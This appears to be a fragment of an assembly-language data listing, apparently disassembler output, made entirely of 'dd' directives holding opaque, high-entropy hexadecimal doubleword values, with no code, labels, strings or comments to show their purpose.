		dd 2ED583C1h, 490942B0h, 0B000F0ECh, 2BDCA62Ch,	2C4AA4B8h
		dd 80EFEA5Ah, 3C717CBFh, 0D1580C81h, 24420010h,	66323FCFh
		dd 254824F0h, 0FFE2F93h, 1C40221Ch, 0D00B20DAh,	5A5B049Bh
		dd 80BB23EFh, 28A3EBE1h, 0C8AB9200h, 50FEC6F6h,	0EC3C5A17h
		dd 28B005Fh, 48D7840h, 52550E06h, 0B7DE32h, 0C0FE039Ch
		dd 5B00E902h, 0EE84BF44h, 725481D2h, 3208004Fh,	198B2280h
		dd 0C61D0307h, 3140F448h, 9842BBE8h, 0AE3B003Ah, 53694075h
		dd 7612D865h, 0C6037324h, 0E0D5B44Fh, 0E2BE211h, 7BC3CAC1h
		dd 809A360h, 5C0148EBh,	27074544h, 8A70581Bh, 70B50343h
		dd 0C7149F3Eh, 189A11B8h, 0C0CE7C03h, 0B8583BF8h, 820F12h
		dd 924FBC73h, 48B4CFBBh, 9D84F002h, 0E1F43854h,	0EDAA420h
		dd 0C0FC17E7h, 42EDE4E9h, 0FD5C200Eh, 30C2E015h, 1010F56h
		dd 7F242305h, 0E80297D0h, 5F0790C5h, 0F2D21B4Eh, 8009B990h
		dd 85FD00F1h, 2E81DEFBh, 213901B2h, 6A5B008Eh, 0B051EC8Ch
		dd 3FE704FEh, 8081F8C5h, 0C16B4E3Ch, 90C33B05h,	9380A82Eh
		dd 0A528Bh, 34845CCh, 120D2ACAh, 0E492300h, 63965CAEh
		dd 75DD0088h, 20A10717h, 48004D89h, 3331E8F8h, 0FF2845h
		dd 24B8ECE0h, 7EB734B2h, 0B55E8800h, 44AB3D7Ch,	0E9E001A4h
		dd 61FE87Fh, 2643C8C6h,	4EB0100h, 0AF55950Dh, 8A300014h
		dd 50100554h, 56002C8Bh, 3EA74A29h, 0E0C927h, 885D8079h
		dd 3844DD3h, 30738901h,	0D61046C6h, 1699770h, 24A74E3Ch
		dd 0CC2C2657h, 0B8001213h, 40366F8h, 0F45578BEh, 0C62B000Ah
		dd 59EA0256h, 281D8CF1h, 0BDC1FD6Eh, 22A8DE7Eh,	9005A060h
		dd 0D9891EDEh, 3A04401Ch, 0E8F74DB8h, 0B1DC38h,	4FFD9B7Eh
		dd 67DC0C9h, 0E32D68E5h, 4026E23Dh, 0DC0026E4h,	0D95FD802h
		dd 9F8400ABh, 0F2AF4258h, 0FE0BD2AEh, 508279CDh, 0F8C7860h
		dd 0F83B28C5h, 0EA0658C3h, 0E8F07899h, 0C47A03FCh, 322A4307h
		dd 0BF40C2h, 57A32126h,	0A6A0342h, 78B71FFh, 0ACC683E8h
		dd 95184404h, 0C0FE9680h, 24900DB4h, 5048291Fh,	17F81640h
		dd 2041C9h, 75894EF0h, 0EFF6BC93h, 53AC9200h, 8CB8730Fh
		dd 3CFCEA66h, 18034E48h, 0C4DBE9F6h, 3746EAC0h,	97CE2200h
		dd 77EE119Ch, 947519h, 825085F4h, 6272E43Bh, 78000D7Ch
		dd 0EC45039Ch, 761A07h,	0A7834601h, 0E45F6902h,	0D5BFF00h
		dd 956E42A1h, 53050040h, 1BB8AD77h, 2D0380BCh, 4E04FB7Dh
		dd 1EBF8CDh, 0E8A1009Ah, 70E58AB0h, 95A01598h, 0CFE65D99h
		dd 157C400h, 0B0B3EF69h, 1985264Eh, 84D83E8Ch, 84B86803h
		dd 51D0F515h, 0E01C5517h, 5981D4FAh, 1C9BF675h,	0FA1A37F4h
		dd 24DC7489h, 0CD857Dh,	3B22FE8Dh, 980034D8h, 0EDE062A1h
		dd 0D407BAh, 0C7F6ECCDh, 7D4212AAh, 5638AB00h, 86D92D8Ch
		dd 0ED030017h, 0D462995Eh, 22001855h, 26140436h, 0B401B0h
		dd 4AAC3A13h, 3B80A6E2h, 0BAD44500h, 0FA76B605h, 73DB7B57h
		dd 14C7D4Bh, 435BEF4h, 0DC0CAB49h, 0CA00A4B9h, 515A1788h
		dd 22AD8Bh, 0D8852FD1h,	830AFB80h, 0C0681000h, 24A2BE9h
		dd 2D420E91h, 44604393h, 922ED1D7h, 3F641300h, 0EBFE38FAh
		dd 22B10053h, 5F10BF23h, 8E03C72Dh, 49561E93h, 6A13E031h
		dd 967A006Ch, 0B78297F8h, 0D70E0248h, 80277BE7h, 4F0DC6B1h
		dd 1A610172h, 4A01C38Ah, 0CAE9D85Eh, 219E6900h,	3880D7C0h
		dd 757CCDh, 124011CCh, 6674252Eh, 951CFF00h, 765622AAh
		dd 75F0F102h, 8880001Dh, 0FA8F42E8h, 0A8007095h, 891522B9h
		dd 27B553h, 756348B1h, 0A6195B1Bh, 50047CF6h, 0ACAB0C0Fh
		dd 8A0D7C80h, 5D0A009Eh, 3A2DC5E5h, 74004C98h, 5A4468C2h
		dd 26C173h, 0AD196A7Eh,	0C64D4F1h, 82C4E200h, 14333532h
		dd 0A90900B5h, 487CB3D5h, 21008BA1h, 0D3F3A7E3h, 22FC92h
		dd 4C16C39Eh, 8B823EBEh, 50C01D0Fh, 930E0036h, 0E8B603h
		dd 30BCA1C6h, 53F77E95h, 0D0D82E00h, 42104D5Bh,	0DFFC00A9h
		dd 754EF440h, 2000CD58h, 0CF4932E9h, 0E8910EAh,	0F1B7FCF8h
		dd 34AF2A60h, 3800CA8Ch, 0BD77A752h, 2E7E6Ch, 0D23B5B7Ah
		dd 0F4429BB6h, 70A3DE07h, 1C06A0Fh, 0D340ECh, 58880A23h
		dd 7585AB86h, 8032063Ah, 683414BDh, 1DBACA81h, 0EE4D3F2h
		dd 0EEA074B3h, 46F6A429h, 31214200h, 3D27695Eh,	52E80007h
		dd 38BA7CA2h, 0E0000476h, 40600CB8h, 4B8A9Dh, 42890715h
		dd 2D14E52Ch, 92610E00h, 0F62B5EF1h, 26640043h,	930222ACh
		dd 123BF208h, 0A77101DFh, 0AA671A46h, 0B04E16ECh, 30C900CDh
		dd 358BB50Eh, 0E914A468h, 0FC81D50h, 1176069h, 0ACEA163Ch
		dd 0ABA2D0h, 4AE872EDh,	0C07885BFh, 0B90013ECh,	25479608h
		dd 118C943h, 314523A5h
		dd 0EC4AEB03h, 0AD009289h, 0A4306560h, 0ACC23Ch, 3ED11A48h
		dd 24834E33h, 25044400h, 58C6AFBBh, 0FC020036h,	5CB8A275h
		dd 0B95E895Fh, 500EA5A0h, 15E825h, 0D066974h, 3410F385h
		dd 0F2C3F003h, 99C97628h, 0B8E302C2h, 9D55068h,	0C42DDC95h
		dd 48D21980h, 2F0E9994h, 0C0231F5Ch, 0F69A6C10h, 32B7004Fh
		dd 7C318C3Ch, 900E9E0Fh, 0A04E9547h, 1CA674BFh,	0FA1400DDh
		dd 570E1AEFh, 890F336Ah, 4044BD3Dh, 0BE87C1Dh, 684C0114h
		dd 0E6E9498Ch, 0A79CD818h, 84471E0Fh, 423367A8h, 0D29957E0h
		dd 7A65F625h, 1C5E3Ah, 0A13848CCh, 0B96332AAh, 0E1DD2418h
		dd 2FE8B8ACh, 0C8374CBAh, 0EF36B000h, 4A472083h, 5800A178h
		dd 14C84462h, 0B46861h,	93F0665Eh, 2EDAF8A2h, 8E47DD00h
		dd 4B16DCCFh, 691C03BBh, 44B04CD3h, 13DAEB88h, 537454E6h
		dd 413D0D00h, 509456B9h, 0A01C3049h, 0FA9D74A8h, 8038993Fh
		dd 73F4F664h, 0A2087E3h, 7F696152h, 637800FDh, 0A78DABECh
		dd 0AF07447Eh, 0CA3E6BB1h, 10532B61h, 7709CDCh,	8B163143h
		dd 0FA79A002h, 100040Eh, 5D65BFB2h, 6F20E1h, 0EB9250E3h
		dd 0A8E61DDh, 0EB8F000h, 34BE1207h, 23AE00C4h, 784CEFEAh
		dd 7A0073B7h, 862B175h,	525FF5h, 2E591942h, 8E5035D0h
		dd 78DCB000h, 0BAA82516h, 0BEA901D5h, 7D096CC4h, 60EB21E8h
		dd 0B63F6411h, 72089F3Dh, 0C70D14C0h, 9ED6CBh, 81661343h
		dd 17C94C3Fh, 2EE83607h, 1C7016F6h, 9389507h, 4EF9C61Eh
		dd 75C77F00h, 2D00EEB5h, 7B867824h, 0E4B394h, 0FDE4410h
		dd 0BC4F5665h, 0CB2DDA00h, 0E24BFEFCh, 5B5900A3h, 6F0030Ah
		dd 2800D7A8h, 25E32BC6h, 1C0CE3Dh, 910A763Fh, 0E85265E1h
		dd 0EE00236Dh, 0BBFF225Ah, 750C318h, 28EA534Bh,	7404208Eh
		dd 0E400680Ah, 2309DD60h, 7B8C972Bh, 0A5861ED5h, 9FA71DB2h
		dd 0BCE8074h, 0C3220689h, 0E338EB00h, 7A5E7FF6h, 68FA010Eh
		dd 5478D16h, 6CC6F884h,	0AAF12C01h, 0A0C171Dh, 3B0146F8h
		dd 0F989E8C2h, 377ED60h, 0F8386DADh, 0F4F3136h,	0DA064295h
		dd 0EA0E1009h, 0D35CADE0h, 0E40F5D02h, 2044FB81h, 0F468BDA0h
		dd 278600A5h, 0D37A10DAh, 0C5037B2Ah, 0BACB4BA2h, 0F6E9A05Fh
		dd 5D03008Fh, 6913AF17h, 1800B493h, 0D5E40A2Dh,	3FDD7B1Ah
		dd 0A0F328E5h, 73638F6h, 7CF92F8Bh, 903270E2h, 3F45610h
		dd 0F633D000h, 0E88A0FEBh, 2FF90080h, 0A057432h, 0DC00F85Ch
		dd 0B842F23Eh, 13783Ah,	15F685ECh, 5E27A654h, 609EDD00h
		dd 5D9DE09Fh, 3399000Ch, 59626A08h, 0F0012BC3h,	0CEE1026Dh
		dd 4B3073E7h, 10E24Bh, 0E48B0C25h, 0F27604Ah, 0CDDA8501h
		dd 493CF7EDh, 0A36FF4h,	257B5C7Ah, 549C3262h, 24828D00h
		dd 80575352h, 4A1000E0h, 26CE2C1h, 7B008ED4h, 7C073C7Dh
		dd 3783Bh, 0E21C475Ch, 4BD01304h, 5F8FC200h, 4A915A5Bh
		dd 68110090h, 0DB7BB594h, 230FF2A3h, 6008BCF0h,	792F62ACh
		dd 1BAD009Eh, 74B1D47Ch, 0EF12F37Ah, 2E0F63DFh,	310097E0h
		dd 45EB2F60h, 39A9E2F8h, 9D80E434h, 47D3BD35h, 6F01E021h
		dd 56F67A50h, 1EC0242h,	0DB8E000Bh, 474BFFFDh, 6F00B451h
		dd 7110398Bh, 0E08262h,	9FFC06BAh, 383E9E76h, 0AD3C5C12h
		dd 9CC5B00h, 656854h, 649B04DFh, 8AB3D7AEh, 32C41800h
		dd 6F63415Fh, 396C7E75h, 6280C86Ah, 0FFBE44DEh,	0EF006179h
		dd 0EE4E1EB7h, 0F4CB63FBh, 6D5E1D3Eh, 202EC036h, 550B6B69h
		dd 177A9300h, 1B4F4C7Dh, 7CE7186h, 0B5E7E906h, 991AB062h
		dd 750E7064h, 83829D8Dh, 0E0FE14B4h, 17DD5D5Ah,	14F9D57Ah
		dd 443E8E97h, 8F925683h, 0DFE0145Bh, 0FA0EBD1Bh, 0E0C2E21Fh
		dd 6232F860h, 30B80024h, 3B12B226h, 2001D0Eh, 6762C43h
		dd 0F42E7B54h, 0CE7D60ACh, 752FF0E2h, 16FA5E00h, 61B79AB8h
		dd 1C2DEE2Eh, 805258A9h, 267D3DF8h, 600CFFFh, 24B70F0Bh
		dd 0EFE9Dh, 0F775166Ch,	0D22FCED9h, 66C74400h, 1C6A58C9h
		dd 4B7212h, 57A191FEh, 0EBAC7E34h, 50DADC00h, 1B97C8CBh
		dd 2440051h, 0B012FA0Ch, 0E97E164Ch, 4500547Fh,	0CE356243h
		dd 3842274h, 19483609h,	0C0A43744h, 8133989h, 0AEAD1C00h
		dd 140D8567h, 224A0F8Dh, 75201909h, 105798EAh, 96564D00h
		dd 552608CCh, 34F0ED82h, 84F0EBh, 56BAE1D6h, 242B549Ah
		dd 15E2AB00h, 27D59ECh,	3AF0B8B8h, 29809442h, 45B56BEBh
		dd 0D83C3B62h, 204B0514h, 0F6C03833h, 0B8B30Ah,	0E93A5570h
		dd 3B71A259h, 1B740100h, 0C37EBC7Bh, 853008Dh, 1E55487Ch
		dd 6500BA0Ch, 4A8094EBh, 0E9A5Ah, 2404E083h, 42B0858Dh
		dd 0F5F83B00h, 0CDC76605h, 15770018h, 51247A58h, 0C11D1301h
		dd 940F3A4h, 59E028C8h,	0C44500F5h, 6211DF25h, 0A2006C5Dh
		dd 28655184h, 8BE4EBh, 7703F016h, 0D9B25C13h, 0A50B9713h
		dd 23A72200h, 189656Ch,	2F0C383h, 0E5D827CBh, 94DE408Eh
		dd 0B200136Eh, 8FAAB4ECh, 2E012AF0h, 0B3B5F3h, 70840F09h
		dd 0C600A3ADh, 462D1473h, 0B29D750h, 0A15282F0h, 804B6A80h
		dd 4202027Ah, 9A326A09h, 0E07960E4h, 0B9340393h, 5E85AFFDh
		dd 0C783C390h, 0F9F3EC00h, 0C6160B4Fh, 0D7CB004Ch, 6A88B492h
		dd 32481453h, 59CA001Ch, 2708A3B2h, 402D0034h, 4C77403h
		dd 8BE20609h, 5175EF07h, 40EF9211h, 3660C0E3h, 97483B46h
		dd 0A3C2187h, 0E84CD02Bh, 6800A9EBh, 0C6F1357h,	0F1F8A2Eh
		dd 84403447h, 604402C7h, 1A58B54h, 0E9B1C600h, 3A06C3C1h
		dd 7537005Eh, 5B9EAA17h, 5500500Bh, 408292F5h, 1530FADh
		dd 0EBD52ED8h, 0C438C861h, 0AF1D907Ch, 44C7456Eh, 8A312675h
		dd 0D7FCFC07h, 89FF00B0h, 106323FBh, 0A60066F0h, 47040AC9h
		dd 421AEBh, 7B8A154h, 0A403142Ah, 3490D91Dh, 1273F3C0h
		dd 0F226DF8Bh, 0A453D18h, 9232B380h, 0CE4E842Eh, 210710E6h
		dd 34F8E267h, 53602857h, 748FCBDh, 389659F2h, 60887146h
		dd 910B8056h, 1EC4827Bh, 0B7981D42h, 0F0218304h, 0F4E83B67h
		dd 301D2050h, 0C287959Dh, 900684Ch, 0B4C4A5h, 0AD348E03h
		dd 4FA4F397h, 2BBAC00Eh, 7500BD48h, 0C05093Fh, 0E13800D8h
		dd 1E110896h, 1306C569h, 6BF71CBAh, 596A372Ah, 801890BEh
		dd 74006C7Eh, 20959A1Ah, 1E985A37h, 800C66E0h, 0F9ED8A08h
		dd 0C33F389Bh, 2A3B0C55h, 79462Bh, 0B5C8686Ch, 5B3A9A89h
		dd 6F90207Ch, 27C9FE00h, 0FA7F0912h, 7A110085h,	2FDA4269h
		dd 0E400BDC0h, 4097E703h, 98DD19D3h, 90390363h,	3B83F0A0h
		dd 60E4C7DCh, 149257AAh, 10336100h, 0CFFD12BAh,	8CEE0Ah
		dd 17D8545Fh, 0B4A952EBh, 26746900h, 9A212522h,	97D0B57Fh
		dd 0F5EA9E00h, 0A1BCCAE4h, 97570059h, 0A64AD64Eh, 3F750923h
		dd 0A93C2507h, 0F1505242h, 7DC683h, 0CF135CCEh,	35AE94A8h
		dd 1B481400h, 0E62F0E95h, 7C8000Ch, 47BD5685h, 0EB7D0B53h
		dd 0A9299A00h, 4DCCDFD9h, 0C4F4009Dh, 125E7C7Ah, 760048DAh
		dd 0CEF749B9h, 425FBEFh, 2356F443h, 6D00FFB4h, 3B698616h
		dd 3E60Bh, 5AEEF72Ah, 7CA9DFF8h, 5F20E409h, 0F007F27h
		dd 0EB094F1Fh, 0AF6F0D03h, 0B0A47E89h, 0EDE971Eh, 422B4493h
		dd 36025880h, 9D00E692h, 0D3AF0A5Eh, 3808994h, 1DC0267Bh
		dd 0B080980Ch, 4300FCBCh, 7AAC1B49h, 0B52B4BBFh, 2852C0E0h
		dd 0EFC20300h, 0FC43C63Fh, 567AD4h, 847B68F7h, 0C2852B3Dh
		dd 38A6EA00h, 0D64D2D54h
		dd 0BE0800CEh, 73963F5Ah, 65768213h, 2111C401h,	3416AABh
		dd 3E10CF0h, 0AC82BD6h,	5FE047CCh, 0DC3BA47Ch, 0B2950046h
		dd 0F42CAF4Eh, 7E33FA35h, 0FDD8F5BDh, 4DE44CCDh, 2C426B0Eh
		dd 4E78B3A1h, 4354E048h, 0F9AF71FBh, 9020FCF9h,	7900C57Fh
		dd 65180E0h, 0FAC3EFEh,	0C42D154Bh, 2CABF7E0h, 30FEE1F6h
		dd 14054203h, 1EE05D0Bh, 8001401Eh, 750AFA83h, 0E61FC3F4h
		dd 88198C7h, 18117422h,	0D934ACh, 6B3021D5h, 6200025Bh
		dd 598BF994h, 3115C2Fh,	0DA0D1C8Eh, 20A8211Bh, 9C0158BBh
		dd 0FE5934B5h, 0FAD808A6h, 64E40727h, 158DBA24h, 572DC02Bh
		dd 42F6B03Dh, 0A13F5BB8h, 5E2E8EE6h, 0D6B12134h, 4A60268Dh
		dd 4972489Ch, 0D781B73Ah, 0CEE22B85h, 4E70F45Bh, 3BD49700h
		dd 35A8596Bh, 56AD4822h, 4057151Ch, 0E4AC721Bh,	0FB00BA89h
		dd 4CE30A70h, 0BE9012h,	5530EBE2h, 278E91DDh, 0C97D4200h
		dd 0B87F504Dh, 0F2CB0023h, 573521DAh, 0FB00928Dh, 0A899EBA2h
		dd 0F5FF72Fh, 3077EF10h, 8144C19Dh, 0DC179C65h,	0DF030E04h
		dd 206A0754h, 0C90C725h, 5E6147h, 5DA519A9h, 49991442h
		dd 5F12BF00h, 8955D9FDh, 6700F03h, 0A20DBCBh, 881AE1D3h
		dd 0F3927F02h, 6075B1ADh, 0D2C649h, 0DFD6522Fh,	6AA88894h
		dd 0FF2AE700h, 5DF3374Ah, 43FD006Bh, 811D52F0h,	0E9036894h
		dd 645806Ah, 54ADC075h,	52CD004Ah, 0AF2B391h, 2C5C537Dh
		dd 5FBB0095h, 3BE39EF6h, 486A00D6h, 347AB708h, 0F792071h
		dd 620E1700h, 429763ABh, 643B072Bh, 0E01A6B28h,	57451B05h
		dd 0BDB27Bh, 58A56015h,	3C2200CAh, 0F4D49E88h, 65036742h
		dd 7CBA031Dh, 4F4BC077h, 2BD326E8h, 0B290020h, 1C689F89h
		dd 0AB090E00h, 1FAAC3B0h, 0C6FE50h, 10EAE12Bh, 6F5D2C68h
		dd 0EFD25903h, 0D86508B6h, 1274ACE4h, 50CCB5h, 0FA92397Bh
		dd 86007C37h, 36F7B0F8h, 0B03E93ECh, 5EEAEEh, 8E878A13h
		dd 0FA23BC2Bh, 0E507BC98h, 5844BF36h, 0F23B9B80h, 8AA30060h
		dd 0A01F4D84h, 0FB0026AFh, 664BE295h, 1EA2903Dh, 0C05E08E5h
		dd 0ABA0B5C9h, 0C200B95Ch, 9D882C96h, 0B8C593B1h, 2DA76E2h
		dd 8DCCE24Fh, 8A834348h, 0ECC8DC8Bh, 711DFC14h,	58806685h
		dd 9C7CCF9Fh, 166F0031h, 8B5102A0h, 6500E0E8h, 0CB05DF26h
		dd 72E908h, 0BA34CC98h,	0A57F0A5Ch, 97030DF2h, 8AFF3320h
		dd 343D8044h, 2455008Dh, 1F88D703h, 83264702h, 0EF0E0084h
		dd 0BF0880C1h, 8A2040h,	802D461Eh, 11627CFBh, 0F04A8C0Bh
		dd 0E8B9000Dh, 0B75C33h, 8955060h, 0F4927242h, 0B53DFB00h
		dd 66776348h, 5127098h,	7489D38Ah, 0F0BCC095h, 75004F1Ah
		dd 454132C1h, 39A86Ch, 22684708h, 5096A214h, 0D51C300h
		dd 0B553DA85h, 0B9F8B6h, 15B24345h, 0B41B203Ah,	22EA2D00h
		dd 0D7135F2Fh, 30751CD2h, 0C7BCDFFAh, 0D15D5A09h, 0F04260F3h
		dd 56011A37h, 77B27BEh,	7B70C30Ch, 8BF8009Ah, 0A0DCBF8Eh
		dd 0F4018AC9h, 9E482582h, 31C1104Dh, 0DD02AC6Ah, 5F080A50h
		dd 8CE4018h, 0CBFE6005h, 25133498h, 2B00E6E2h, 0AE2A5F0Ah
		dd 0BDE40039h, 88F1267Ch, 0E900AC30h, 8D5E22A7h, 2480B8h
		dd 0FC3F180Fh, 96607F82h, 81728900h, 0DE0991CCh, 20F30122h
		dd 1A447305h, 1241FC2Ch, 68245300h, 8F917A48h, 45B80022h
		dd 8E846E1h, 49011C44h,	6AADA08Ah, 24EC560Bh, 610A006Bh
		dd 6478E941h, 250021DFh, 0F380C369h, 1532F5h, 0B65262C7h
		dd 3A6EFC27h, 73586300h, 0C6FFA738h, 83CC009Dh,	864E2A69h
		dd 0CA1D12A6h, 54CF06C0h, 80AB6FDDh, 274A256Dh,	2B8A1D94h
		dd 876A4607h, 0A80F0A14h, 0A0F854E8h, 68A641D9h, 132B0004h
		dd 719326Fh, 0A5003742h, 9E2CB322h, 702FD21h, 0C2991B0h
		dd 5974800Eh, 67004A9Ah, 3AA30D48h, 7950FD0h, 0E01FADC3h
		dd 64EB5094h, 0B200F0A7h, 28971AC9h, 263F892Dh,	76ECE06h
		dd 0A3AD37E8h, 74B01610h, 0E0E4584h, 408CF930h,	4DC3250Ah
		dd 0A6B8129Ch, 0CDEF8032h, 8101EE34h, 971D37C2h, 58C8D926h
		dd 5D2D0180h, 0FA77743Ah, 738DD4BFh, 0ED339300h, 4BB2A2AAh
		dd 468C1CCCh, 548B4007h, 0C7414083h, 94D2FF0Bh,	21ED0029h
		dd 24F05h, 75EA80D0h, 0DAC2BF41h, 1661FF00h, 0E3FC7A11h
		dd 94C3008Ah, 0EC7C6710h, 660378E7h, 4B082BA1h,	4384D03Ch
		dd 13A20006h, 177AA434h, 6C0003C7h, 88893ABh, 48C81FC6h
		dd 0E8007127h, 468D2583h, 400BAC09h, 7E51B5h, 0D14E7759h
		dd 756D00E4h, 9228403h,	9B00448Ch, 15BE89A7h, 0B8BC046h
		dd 35510C6Dh, 70858B80h, 89A048A9h, 0A80045D7h,	52808CA5h
		dd 5A141BEDh, 4BE800Fh,	7507DC41h, 65D65428h, 648FDD80h
		dd 0C4830702h, 0D0D17D14h, 335031C9h, 18B32A01h, 0F1BC49D6h
		dd 0F0BD4EE4h, 588D005Fh, 30AD2454h, 2F002678h,	0B7480243h
		dd 0A0827Ch, 5EFFC6B0h,	8A74D0D7h, 0A10003FEh, 0D20C5412h
		dd 0F45CC9h, 51586EA6h,	4F164BEDh, 0BD0F800h, 0DD3D7412h
		dd 82850326h, 1EE924C1h, 0B1C829D8h, 6850B500h,	5103C2D8h
		dd 6EF509C7h, 5F00411Bh, 42EF6B7Ah, 26E96600h, 180BA945h
		dd 623B000Dh, 53960441h, 0BA00D8F6h, 0C2D3FA54h, 0FE67E889h
		dd 72CC7E66h, 40150017h, 68824818h, 0CA017BEBh,	0C714994Bh
		dd 89DC134Dh, 54F05C27h, 0A33B0C00h, 96E7645Ch,	0B2DE40Fh
		dd 608DE229h, 890CC054h, 0D9FA0EACh, 0FEFEAB1Bh, 98B81C7Bh
		dd 0DF414253h, 60DD3C48h, 38FF049Eh, 0B83E890h,	84C587D2h
		dd 6F06F2C8h, 60866300h, 0FE9D4520h, 0A4D2009Ch, 4DAFC1E2h
		dd 630ED0CCh, 43766CA7h, 0F85315CAh, 1E08A2EBh,	62F193h
		dd 0E8F81878h, 1E00F297h, 0A78A5002h, 1FA0CA9h,	456D987Ah
		dd 0F4338553h, 291D04B1h, 1F002210h, 7B493073h,	0E65B3D14h
		dd 0CF15349Fh, 7EA08645h, 618642Bh, 23A1682Eh, 4824FB00h
		dd 0FF85E7h, 0A5387626h, 3B9A9FAAh, 90939900h, 68D25AC6h
		dd 0A2D6001Ah, 0E8421467h, 0C800AF17h, 183E2352h, 1DFB910h
		dd 34F0665h, 20706C73h,	6800CB88h, 64DD7834h, 0A9BC3Ah
		dd 58B414C9h, 53290AE5h, 0C793BB00h, 2A800CFEh,	5A0F0083h
		dd 75C8A661h, 0CF0F3DACh, 0D1972Bh, 3B5B5194h, 0B4B000BDh
		dd 6C2A7CB1h, 4E0030B8h, 3E883938h, 0E13D5C1Dh,	0D285E8h
		dd 7B836374h, 5DEC6C70h, 140CC802h, 0C0205710h,	1E1C5147h
		dd 7024B81h, 70FF4504h,	48146B46h, 0B000F979h, 76ED1F6Dh
		dd 0EF52Bh, 0C674F622h,	81D64F89h, 1873C80Ah, 9400A799h
		dd 5ACA7C1Ch, 3B60FADh,	4D8E8946h, 56A260A0h, 5300D577h
		dd 695F30E8h, 71430122h, 95B00074h, 96DC1CFFh, 0C00E4F0h
		dd 0B28D0807h, 0D5B904h, 0E983A120h, 0DD4B9A34h, 80F82F3Eh
		dd 0B1A37E82h, 8273Eh, 793D8CD3h, 619C21EFh, 920F1F77h
		dd 1C1267h, 624123EAh, 78C80020h, 1EF02B37h, 0C47A185Ah
		dd 7CDC291Eh, 3D01B80h,	4BC22F2h, 46691344h, 0A8688093h
		dd 5E0FC614h, 2094DF97h, 0E1D8A295h, 461C0079h,	55E88108h
		dd 1E3C02ACh, 40881321h, 20A0BB00h, 0E29501B8h,	68626ED8h
		dd 0E07E0900h, 92000382h, 156AEF3h, 0EC04CB3h, 0C1DA260Dh
		dd 39DEBF00h, 0A007448h, 161506CCh, 0EA60F75Dh,	0C1BD0038h
		dd 0A0AFB0F3h, 710062FEh, 230E4FC0h, 0E064D0h, 2587F06Ch
		dd 0E42E2495h, 10A55400h, 28F73511h, 8040759h, 20343830h
		dd 0C266844h, 0E58E7B00h
		dd 321C72C3h, 0C487026Ch, 806B292Eh, 6E7AE0FDh,	7427002Dh
		dd 64BA65E3h, 0EB004EDEh, 5804E5FEh, 30B953C3h,	546AB2C1h
		dd 0D4F70542h, 1C030818h, 7F0C8D80h, 12DB9052h,	6888005Ch
		dd 0F125D3E2h, 0BD00F0F8h, 9D5628F4h, 5FE942h, 8449BC6h
		dd 0F3EC6A83h, 10CD8EBh, 0B8F68E00h, 0B0FB020Bh, 0D68B0006h
		dd 841AA803h, 2F5818D3h, 20450033h, 82F18A3Ah, 47C60BF8h
		dd 6A0063F9h, 5CE662DDh, 3F84474h, 0FC48C02Ch, 2200A31Dh
		dd 57763F25h, 6BB33931h, 4C0C4780h, 818A1C4Eh, 0BC032672h
		dd 170B45C3h, 0D43BC86Dh, 520A007Ch, 44202341h,	24006C5Fh
		dd 0F4C23D87h, 39EB1FBFh, 22010F85h, 0C72FA6A9h, 7E5DE412h
		dd 83434200h, 7509AF08h, 6AE405F9h, 0C02C1005h,	243444F3h
		dd 0E801D174h, 7B93252Bh, 33C9E7E9h, 36CEF0h, 2F402D57h
		dd 17F8FE73h, 6D00EFFEh, 0F330B6F2h, 7F830Fh, 0F7A79708h
		dd 0C36A6847h, 0F2101301h, 2C34998Eh, 3083C138h, 0BCAF47BBh
		dd 43F03809h, 0E8A05B00h, 0ED033AEEh, 0EF840012h, 4A596225h
		dd 0FAC02019h, 0DE7515FCh, 0E46A37CDh, 2C8810C0h, 223C3044h
		dd 0EB380034h, 0D24B327Ch, 86FCBAh, 0DE5D82F0h,	0B50747B0h
		dd 3F57C200h, 2A9ABBE8h, 87EE91h, 56643123h, 0D44253Bh
		dd 81788300h, 49C27F4Eh, 0F13A000Ch, 0A6AD7E2Eh, 7300C788h
		dd 0DDC435DCh, 0A5C0E8h, 0F82750A3h, 54431602h,	0DFFC8B00h
		dd 8312A8E4h, 0AEEABBh,	299F7632h, 1421614Bh, 2491951Dh
		dd 2C1E8B5Dh, 18A48140h, 1A955BFh, 438D4C85h, 0FC74A540h
		dd 6B003F6Dh, 75421169h, 65C3FFh, 68836CD0h, 0D5096E96h
		dd 0D60E0300h, 63E09A7Eh, 0E4E20ED7h, 6B00A5DEh, 0F4E82B2Ch
		dd 8005B70h, 3474D53Bh,	106C8Dh, 0C58B0517h, 0F9842501h
		dd 54330200h, 66D9EA22h, 0C4F40052h, 0ED0A5F4Ch, 2C168904h
		dd 3D1FD013h, 61A2B380h, 9577D6h, 38EB2E59h, 5781AC3Ch
		dd 8DF2E000h, 12BD7D78h, 1EC1F21Dh, 40EA45ABh, 2AB0E791h
		dd 2D0053A9h, 0A526FDB4h, 14B0CB8h, 929E8BDCh, 0E0D1B6ABh
		dd 3200778Eh, 6BC5AEBh,	27400CD8h, 1D50D4C0h, 0F90034B0h
		dd 0CD9BF17Fh, 394F3D0h, 4AAEC9B8h, 0FBA8F4CAh,	0E476D179h
		dd 0F5ACBD01h, 6AEF0E44h, 77D89C0h, 730FB0F0h, 4E8520AAh
		dd 1B0198ABh, 3728A5EBh, 51D0EA17h, 840800E4h, 56E0758Ch
		dd 537F2704h, 4E5F5707h, 0ABDA8Fh, 0F82D846Dh, 0A193A390h
		dd 2420F029h, 48B100FEh, 2D415502h, 6400BD69h, 0B3AD77C6h
		dd 0F254DC15h, 0D8220042h, 0D49444BFh, 2301AE98h, 0F99608F0h
		dd 0D9FCAB77h, 1E1E7ED0h, 40CAFACCh, 2DE55B0Fh,	5E1CF23Dh
		dd 3B005CAAh, 0A730C58h, 81A80768h, 30A0BC97h, 31501051h
		dd 78E53007h, 68F0B5CCh, 0B747C4h, 0F2580D2Bh, 7F6A49EAh
		dd 17826B16h, 113E1903h, 0F00A0329h, 0F1192AB6h, 1C750580h
		dd 0CC01C277h, 0BE2D17F2h, 0B540D292h, 24885Eh,	546F31Ah
		dd 0A2F2F615h, 6000137Dh, 62C6FA6Ah, 3F4B1B2Dh,	480954Dh
		dd 101AF768h, 0FA1D3A01h, 7800B53h, 555FB169h, 0AB61006Ah
		dd 841EEA49h, 2E1DA0A4h, 1A80D8E1h, 0AC4D2D9Ch,	164C0076h
		dd 3A6ABDD5h, 4EC0A1AEh, 0B811BF1Fh, 0B97C86h, 0E023AC7Dh
		dd 95A54ABAh, 0BDCD2200h, 79DF8476h, 3C1E00E9h,	7FDA9124h
		dd 0D23B932Eh, 764004Dh, 8908D53Fh, 907200B8h, 0B4A6AB48h
		dd 0F158A38Ah, 921B002Ch, 8BB5A46Bh, 76581C84h,	0FF80FCEEh
		dd 0B116C3F2h, 0A23A7E47h, 78A400F8h, 404AC083h, 81D000A6h
